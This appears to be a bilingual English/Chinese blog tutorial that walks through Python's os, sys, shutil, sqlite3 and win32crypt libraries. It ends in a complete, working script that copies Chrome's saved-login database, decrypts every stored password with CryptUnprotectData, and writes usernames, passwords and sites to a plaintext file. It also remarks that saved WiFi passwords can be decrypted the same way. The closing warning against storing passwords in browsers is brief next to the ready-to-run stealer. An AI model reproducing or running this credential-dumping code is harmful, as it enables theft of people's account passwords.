What Will I Learn?

In this tutorial we can learn :

• How to use os and sys lib // 使用os 和 sys库

• How to use shutil lib // 使用**shutil **库

• How to use sqlite3 lib // 使用sqlite3 库

• How to use win32crypy lib // 使用win32crypy 库

• How to get the password and name which is saved in Chrome // 获取保存在Chrome的用户名和密码

  

Requirements

• Coding IDE(Here I use Sublime Text 3) //开发环境，这里我用的是Sublime Text 3
• Python 2.7
• Several Python Lib //用到的Pyhotn库
  • os
  • sys
  • shutil
  • sqlite3
  • win32crypy

Difficulty

• Intermediate //中等难度

Tutorial Contents

1. Functions of os Lib to use //介绍使用到的os库的相关函数

• Combine several path into a path //将多个路径组合成一个路径

  os.path.join(path1[,path2[,......]])
  

• Check if existing the file //检测是否存在文件

  os.path.exists()
  

• Remove the file //移动文件

   os.remove()
  

• Write to the file //写入数据到文件

  file_path.write()
  

  ​

---

2.Functions of sys Lib to use //介绍使用到的sys库的相关函数

• Stop the program and exit //停止运行并退出

   sys.exit(-1)
  

---

3.Functions of shutil Lib to use //介绍使用到的shutil库的相关函数

• Copy file1 to file2 //将文件1的数据覆盖文件2

  shutil.copyfileobj(file1,file2)
  

---

3.Functions of sqilte3 Lib to use //介绍使用到的sqilte3库的相关函数

• Connect to the file data //链接数据库对象

  sqlite3.connect(file)
  

• Execute sql comand //运行sql语句

  conn.execute('sql command')
  

---

4.Functions of win32crypt Lib to use //介绍使用到的win32crypt库的相关函数

• In this project just mainly using a decrypt function to decrypt the password which saved in Chrome//这里主要是用到win32crypt库进行对保存的密码解密

  win32crypt.CryptUnprotectData(pwdHash, Paramete1, Paramete2, Paramete3, Paramete4)
  

  CryptUnprotectData function is widely used.it can be used to encrypte and decrypt data.The WIFI passwords which are saved in PC are also useing this function to encrypte.

  CryptUnprotectData 函数广泛应用于数据的加密与解密，另一个例子就是电脑保存的WIFI密码也是用这个函数进行加密的，因此如果要获得在电脑保存过的wifi密码，可以找到对应的加密文件再用这个函数进行解密

  • pwdHash : A pointer to the data_blob structure to save the encrypted data.

    pwdHash : 输入需要解密的数据包

  • Paramete1：A pointer to data_blob structure to a password or other additional entropy is encrypted

    Paramete1：指向加密数据所包含的加密数据的字符串可读描述的指针

  • Paramete2 ： This parameter is reserved for future use and must be set to null.

    Paramete2 ：保留参数。必须设定为NULL

  • Paramete3 ： A pointer to a CRYPTPROTECT_PROMPTSTRUCT structure that provides information about where and when prompts are to be displayed and what the content of those prompts should be. This parameter can be set to NULL.

    Paramete3 ：一个指向cryptprotect_promptstruct结构提供的信息和提示

  • Paramete4 : A DWORD value that is used to specify the function option. This parameter can be zero.

    Paramete4 ：一个DWORD值，用于指定该功能选项，一般设定为0

---

5.Run the program to get the password saved in Chrome

import os, sys
import shutil
import sqlite3
import win32crypt

outputPass = os.path.join(os.path.dirname(sys.executable),'PasswordSavedInChrome.txt') 
ChromePassData = os.path.join(os.environ['LOCALAPPDATA'],r'Google\Chrome\User Data\Default\Login Data')
BakupFile = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
shutil.copyfile(ChromePassData, BakupFile) 
conn = sqlite3.connect(BakupFile)
for row in conn.execute('select username_value, password_value, signon_realm from logins'):
    pwdHash = str(row[1])
    try:
        ret =  win32crypt.CryptUnprotectData(pwdHash, None, None, None, 0)
    except:
        print 'it goes wrong!!'
        sys.exit(-1)
    with open(outputPass, 'a ') as outFile:
        outFile.write('UserName: {0:<20} Password: {1:<20} Site: {2} \n\n'.format(
            row[0].encode('gbk'), ret[1].encode('gbk'), row[2].encode('gbk')) )
conn.close()
print 'Passwords have been outputed:\n'
print outputPass
os.remove(BakupFile)    # Remove temp file

---

6.Then get the passwords

---

7.Conclusion

It appears that when we save out bank password,steemit password,fecebook password,and so on in the Chrome broswer ,it means that we have the risk of being stolen the auth token.So guys , try not to save the important infomation into any broswer.

从这个示例来看，保存密码在Chrome等浏览器是非常的不安全的，随时可能被盗走的。

我记得@nationalpark说过之前哪个大鱼的号被盗了，就是因为点击了markdown格式冒充的钓鱼链接。我猜那个钓鱼链接或许有可能就是用了这个原理的吧。

---

Posted on Utopian.io - Rewarding Open Source Contributors

---